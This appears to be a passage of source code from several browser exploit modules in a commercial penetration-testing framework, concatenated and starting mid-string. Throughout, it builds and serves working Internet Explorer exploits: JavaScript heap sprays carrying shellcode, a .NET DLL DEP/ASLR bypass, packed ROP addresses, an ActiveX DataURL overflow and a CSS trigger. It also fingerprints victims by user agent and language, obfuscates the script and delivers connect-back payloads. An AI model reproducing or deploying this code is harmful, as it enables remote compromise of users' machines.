unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); heapspray = prefix + heapspray; heapspray += unescape("DEPBYPASSCODE") + shellcode; try{ for(var i = 0; i < 400; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} """ script = script.replace( 'SHELLCODE', wp_urluencode(wp_randomnops(4) + self.shellcode + ("\x00" * 100))) script = script.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) script = script.replace('DEPBYPASSCODE', wp_urluencode(depbypass)) #Obfuscate the script code (not used) filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> <div style="position: absolute; top: -999px;left: -999px;"> <link href="css4.css" rel="stylesheet" type="text/css" /> </html> """ return filedata def makefileIE7_part1(self): # Exploit for Windows Vista IE 7 # This page loads the .Net DLL # .Net DLL ASLR/DEP Bypass filedata = """ <html> <object classid="OURDLL#exploit.Shellcode" height="0" width="0"></object> <iframe src=/page2.htm></iframe> </html> """ filedata = filedata.replace('OURDLL', self.filename.replace('.html', '.dll')) return filedata def makefileIE7_part2(self): # Exploit for Windows Vista IE 7 # This part returns the created .net dll # .Net DLL ASLR/DEP Bypass p = PElib() filedata = p.createDotNETPEFileBuf(self.createShellcode(), self.pc) return filedata def makefileIE7_part3(self): # Exploit for Windows Vista IE 7 # This part triggers the exploit # .Net DLL ASLR/DEP Bypass landingAddress = 0x126A1000 #0x126A1000 # Build our heapspray repeated block to get to this vtable jmp # 4384F78D 8B46 5C MOV EAX,DWORD PTR DS:[ESI+5C] # #43681BE1 8B49 20 MOV ECX,DWORD PTR DS:[ECX+20] #43681BE4 8B01 MOV EAX,DWORD PTR DS:[ECX] #43681BE6 8B50 20 MOV EDX,DWORD PTR DS:[EAX+20] #43681BE9 -FFE2 JMP EDX heapspraycode = pack('<L', 0x77C21A57) #the slide of RETN heapspraycode += pack('<L', landingAddress + 8) # MOV EAX,DWORD PTR DS:[ECX] heapspraycode += pack('<L', landingAddress) # FIRST STACK PTR (RETN 80) heapspraycode += pack('<L', landingAddress) # Start the slide of RETN heapspraycode += pack('<L', landingAddress) heapspraycode += pack('<L', 0x00000001) # required byte heapspraycode += pack('<L', 0x126A10FF) # To pass the TEST AL,AL heapspraycode += pack('<L', landingAddress) heapspraycode += pack('<L', landingAddress + 4) # MOV ECX,DWORD PTR DS:[ECX+20] heapspraycode += pack('<L', landingAddress) heapspraycode += pack( '<L', self.pc ) # MOV EDX,DWORD PTR DS:[EAX+20] JMP EDX (77C15ED5 XCHG EAX,ESP) while len(heapspraycode) < (0x100): heapspraycode += pack('<L', landingAddress) # Buffer filedata = """ <html> <script language="JavaScript"> """ #script code script = """ memory = new Array(); shellcode = unescape("SHELLCODE"); //var len= shellcode.length + 0x21; //0x21 is heap header var len=0 var heapspray = unescape("HEAPSPRAYCODE"); while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000- len); prefix = unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); heapspray = prefix + heapspray; try{ for(var i = 0; i < 400; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} """ script = script.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) #Obfuscate the script code (not used) filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> <div style="position: absolute; top: -999px;left: -999px;"> <link href="css4.css" rel="stylesheet" type="text/css" /> </html> """ return filedata def makefile(self, browser, osversion): if osversion == "Windows XP": self.log('WP> Serving Windows XP exploit') return self.makefileWinXP(browser) if browser == "MSIE 8.0": self.log('WP> Serving MSIE 8.0 exploit') return self.makefileIE8_VistaWin7_part1() if browser == "MSIE 7.0": self.log('WP> Serving MSIE 7.0 exploit') return self.makefileIE7_part1() # Default to a non ASLR version self.log('WP> Serving Non ASLR Exploit') return self.makefileWinXP(browser) def makecssfile(self, browser, osversion): #0x126A10C0 address = u"\u1000\u126a" filedata = "\xef\xbb\xbf" # UTF-8 Header Bytes filedata += """*{ color:red; color:blue; } @import url("\x01\x01ADDRESS"); @import url("css4.css"); @import url("css4.css"); @import url("css4.css");""".replace("ADDRESS", address.encode('utf-8')) return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) cookies = clientheader.getStrValue(['Cookie']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') #self.log('WP> User agent of connecting host: %s' % user_agent) #self.log('WP> Cookies of connecting host: %s' % cookies) if clientheader.URL.count(self.filename): if cookies.count("SessionID"): self.log('WP> Exploit already sent to this client') self.log('WP> Returning blank page') data = "" b.setBody(data) h.addHeader('Content-Type', 'text/html') else: self.log('WP> Serving exploit html file') data = self.makefile(browser, osversion) if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) elif (clientheader.URL.count('.dll')): if browser == "MSIE 7.0": self.log('WP> Serving IE7 .Net DLL file') data = self.makefileIE7_part2() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'application/octet-stream') else: self.log('WP> Serving IE8 .Net DLL file') data = open( '3rdparty/White_Phosphorus/exploits/wp_quicktime_punk/ourdll.dll' ).read() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'application/octet-stream') elif (clientheader.URL.count('page2.htm')): if cookies.count("SessionID2"): self.log('WP> Exploit already sent to this client') self.log('WP> Returning blank page') data = "" b.setBody(data) h.addHeader('Content-Type', 'text/html') else: self.log('WP> Serving exploit secondary file') if browser == "MSIE 7.0": data = self.makefileIE7_part3() else: data = self.makefileIE8_VistaWin7_part2() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID2=%d' % self.jsObfuscator.getXORKey()) elif (clientheader.URL.count('.css')): self.log('WP> Serving exploit css file') data = self.makecssfile(browser, osversion) if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') self.log('WP> ****************************************') return h, b def run(self): if (self.version == 0): filedata = self.makefile('', 'Windows XP') elif (self.version == 1): filedata = self.makefile('MSIE 7', '') elif (self.version == 2): filedata = self.makefile('MSIE 8', '') self.log("WP> Opening %s" % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (self.filename)) return 1
class theexploit(httpclientside): def __init__(self): httpclientside.__init__(self) self.version=0 self.name=NAME self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" # Set up our javascript obfuscator, this could be done in httpclientside class self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") self.language = "" #"en-us" # uncomment this to default to English version self.plugin_info = None # we want clientd to give us a plugin dict #HTTPMOSDEF shellcode is 2100 bytes or so - our shellcode space is 2044 or so. #XXX: We need to switch to SearchCode? self.nohttpmosdef = True return # This is expecting an info_dict that is populated like so: # # info_dict['plugins'] = parse_plugin_data(plugins_dict) # info_dict['user_agent'] = clientheader.getStrValue(['User-Agent']) # # self.plugin_info comes from clientd in parse_plugin_data scrubbed format def is_vulnerable(self, info_dict): """ Check to make sure this is something we want to run, in this case, it means "running IE 7 and a language we have a target for. """ if "MSIE 7.0" in info_dict['user_agent'] or "MSIE 6" in info_dict['user_agent']: language = info_dict['plugins'].get("language", "") if type(language)==type([]): language=language[0] #it's a list in actuality self.log("language found: %s"%language) for t in targets.keys(): target=targets[t] if target[1] == language: #found language, and is IE7 #high value because it is reliable, recent and it defeats dep self.log("Found vulnerable target") return 50 else: self.log("Not IE 6/7 - possibly vulnerable, but not to this exploit") self.log("User Agent: %s"%info_dict.get("user_agent")) #not ie 7 or we don't have the language return 0 def set_version_from_language(self, target_info): """ We key on language right now (although really it could be a dictionary of things) """ language=target_info["language"] if self.msie6: ieversion = '6' else: ieversion = '7' for t in targets.keys(): if targets[t][1]==language: if targets[t][0].count(ieversion): self.log("Using target version: %s: %s"%(t,repr(targets[t]))) self.version=t break return self.version def makefile(self, request_header=None): """ Makes the exploit HTML """ self.getArgs() if not self.version: #i.e. we are not using clientd if self.language: if not request_header: self.log("Assuming IE 7 since we didn't get a request header!") self.msie6 = False else: self.log("Checking IE version from Request Header") if "MSIE 6" in request_header.getHeaderValue("User-Agent"): self.log("IE 6 detected") self.msie6 = True else: self.log("Not IE 6") self.msie6 = False #need to autodetect language here too from Accept-Language self.log("Running against language set manually: %s"%self.language) self.set_version_from_language({"language":self.language}) else: self.log("We are running without plugin_info or version - returning no page!") return "" if not self.version: self.log("No version was set! Bailing out...") return "" targ = targets[self.version][2] if not hasattr(self, "shellcode") or not self.shellcode: self.log("Regenerating shellcode in makefile") self.createShellcode() filedata="""<html> <body> <script language="JavaScript"> """ script = """ function spray() { var array = new Array(); var ls = 0x7F000; var shellcode = unescape("%u9090%u9090%u9090") + unescape("SHELLCODE"); base =myescape(NTPROTECT); base+=myescape(0x0d0db8bc); base+=myescape(0x0d0d0000); base+=myescape(0x10000); base+=myescape(0x40); base+=myescape(0x0d0db8b0); base+=myescape(0xc0c4c0c1); base+=myescape(GETMESTACK); base = unescape(base); var t = unescape("%u0d0d"); var b = unescape("%u0d0d"); while(b.length < (0x7fc-12-shellcode.length)) { b+=t; } //b= unescape( "%u9090%u9090" + myescape(GETMESTACK)) + b + shellcode; b = base + b + shellcode; b = b.substring(0,b.length); while(b.length < ls/2) { b += b } var lh = b.substring(0,ls/2); delete b; for(i=0;i<270;i++) { array[i] = lh + lh + shellcode; } return array; } """ if self.msie6: script += """ function createheap(){ var a = Array(); for (i = 0; i < 0x500; i++){ a[i] = document.createElement("button"); } return a; } function fillheap( a){ var thereal = unescape("\u1024\u0d0d\uc0c4\u4141\u4141\u4141"); var theteal = unescape("\u1024\u0d0d\uc0c4\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141"); var theueal = unescape("\u1024\u0d0d\uc0c4\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141"); for(i=0; i < 0x500; i+=3) { a[i].name = theueal; } for(i=1; i < 0x500; i+=3) { a[i].name = theteal; } for(i=2; i < 0x500; i+=3) { a[i].name = thereal; } } function makeholes(a){ for(i = 0x0; i < 0x450; i+=2) a[i].name = ''; } """ else: script += """ function createheap() { var a = new Array(); for(i=0; i < 0x10; i++) { var client = new XMLHttpRequest(); a[i] = client; } return a; } function fillheap( a) { // Allocate a chunk of a given size. I can control the first 4 bytes. var cont = unescape("\u1024\u0d0d\uc0c4\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141"); for(i=0; i < 0x10; i++) { a[i].open("GET", cont); } } """ script += """ function hexa(val) { var str=new Number(val).toString(16); while (str.length < 4) str = "0" + str; return str; } function myescape(addr) { var str=""; str="%u"+hexa(addr&0xffff)+"%u"+hexa((addr>>16)&0xffff); return str; } function build_exploit() { """ if self.msie6: script += """ sp = spray(); l = createheap(); h = createheap(); var e = document.createElement("P"); e.addBehavior("#default#userData"); document.body.appendChild(e); e.setAttribute('a', "string"); fillheap(l); var p = document.createElement("A"); var t = document.createElement("UL"); var w = document.createElement("HEAD"); makeholes(l); e.setAttribute('b', p); e.setAttribute('c', t); e.setAttribute('d', w); fillheap(h); p['createElement'](); } build_exploit() """ else: script += """ var e = document.createElement("P"); var p = document.createElement("A"); var t = document.createElement("UL"); var w = document.createElement("HEAD"); h = createheap(); spray(); e.addBehavior("#default#userData"); document.body.appendChild(e); e.setAttribute('s', p); e.setAttribute('s', t); e.setAttribute('s', w); fillheap(h); p['createElement'](); } build_exploit() """ script = script.replace('SHELLCODE',urluencode(self.shellcode)) script= script.replace("GETMESTACK", targ[0] ) script = script.replace("NTPROTECT", targ[1]) #not used anymore #script = script.replace("ADDFOURBYTES", str(self.version)) filedata += self.jsObfuscator.obfuscate(script) filedata += """ </script> </body> </html> """ return filedata # 0x75c9c2b9 def makesploit(self,clientheader,clientbody): from libs.spkproxy import header,body h=header('SERVER') b=body() if self.plugin_info: info_dict=self.plugin_info self.log("We got a plugin info for this target - thanks clientd!") if self.is_vulnerable(self.plugin_info): self.log("This client is most likely vulnerable!") #check for IE 6 if info_dict['user_agent'].count('MSIE 6'): self.msie6 = True else: self.msie6 = False language=self.plugin_info["plugins"].get("language") if not language: self.log("Very odd error: no language in plugin info!") return None, None if type(language)==type([]): language=language[0] #it's possibly a list in actuality self.set_version_from_language({"language":language}) if self.version==0: self.log("Didn't find a target for that language (%s) - very odd"%(language)) return None, None else: self.log("Bailing on this client as it is not likely to be vulnerable (%s)"%self.plugin_info.get("language")) return None, None if clientheader.URL.count(self.filename): self.log('Serving HTML file') self.createShellcode() sploitstring=self.makefile(request_header = clientheader) b.setBody(sploitstring) h.addHeader('Content-Type','text/html') h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('redirecting to self') h.status='302' h.addHeader('Location',self.filename) h.addHeader('Content-Type','text/html') return h,b def neededListenerTypes(self): return self.clientSideListenerTypes() def getArgs(self): self.host=self.target.interface self.getarg("filename") self.getarg("language") return def displayVersions(self): for t in targets.keys(): print 'Version %d: %s'%(t,targets[t][0]) return def run(self): self.getArgs() # Build the html that triggers the vulnerability filedata=self.makefile() self.log('Opening %s for output'%(self.filename)) fd=file(self.filename,'wb+') fd.write(filedata) fd.close() self.log('Wrote to %s'%(self.filename)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring = "\x00\x09\x0d\x20\xff" #Randomize name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE 6 """ self.isClientD = True if "MSIE 6.0" in info_dict['user_agent']: self.log("WP> Target has MSIE 6") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] #it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self): # Make the exploit file #Base filedata filedata = """<html><body> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAXXXXXXXX"/> </object> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://AAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA"/> </object> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://AAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA"/> </object> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://AAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA"/> </object> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://AAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA"/> </object> """ filedata += """<script language="JavaScript">""" script = wp_clientside_HeapLib() #script code script += """ var heap = new heapLib.ie(0x40000); heap.gc(); // Fill the heap of this size // XPS2/3 is size of 0x2c8 // The beginnng objects are to clear the lookaside and freelist for the exact size. for (var i = 0; i < 1000; i++) heap.alloc(0x2C0); var size=0x2d0; // Alloc some blocks freelist[5b] heap.alloc(size); heap.alloc(size, "freeList1"); heap.alloc(size); heap.alloc(size, "freeList2"); heap.alloc(size); heap.alloc(size, "freeList3"); heap.alloc(size); heap.alloc(size, "freeList4"); heap.alloc(size); heap.alloc(size, "freeList5"); heap.alloc(size); // Fill the lookaside heap.lookaside(size, 4) // Add to freelist [5b] heap.free("freeList1") heap.free("freeList2") heap.free("freeList3") heap.free("freeList4") heap.free("freeList5") shellcode = unescape("SHELLCODE"); bigblock = unescape("%u0D0D%u0D0D"); headersize = 20; slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<700;i++) memory[i] = block + shellcode; """ script = script.replace( 'SHELLCODE', wp_urluencode(wp_randomnops(4) + self.shellcode + ("\x00" * 100))) #Obfuscate the script code (disabled for this exploit) self.isClientD = False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAXXXXXXXX"/> </object> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB"/> </object> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA"/> </object> </body> </html> """ return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) #self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data = self.makefile() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') self.log('WP> ****************************************') return h, b def run(self): filedata = self.makefile() self.log("WP> Opening %s for output" % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (self.filename)) return 1
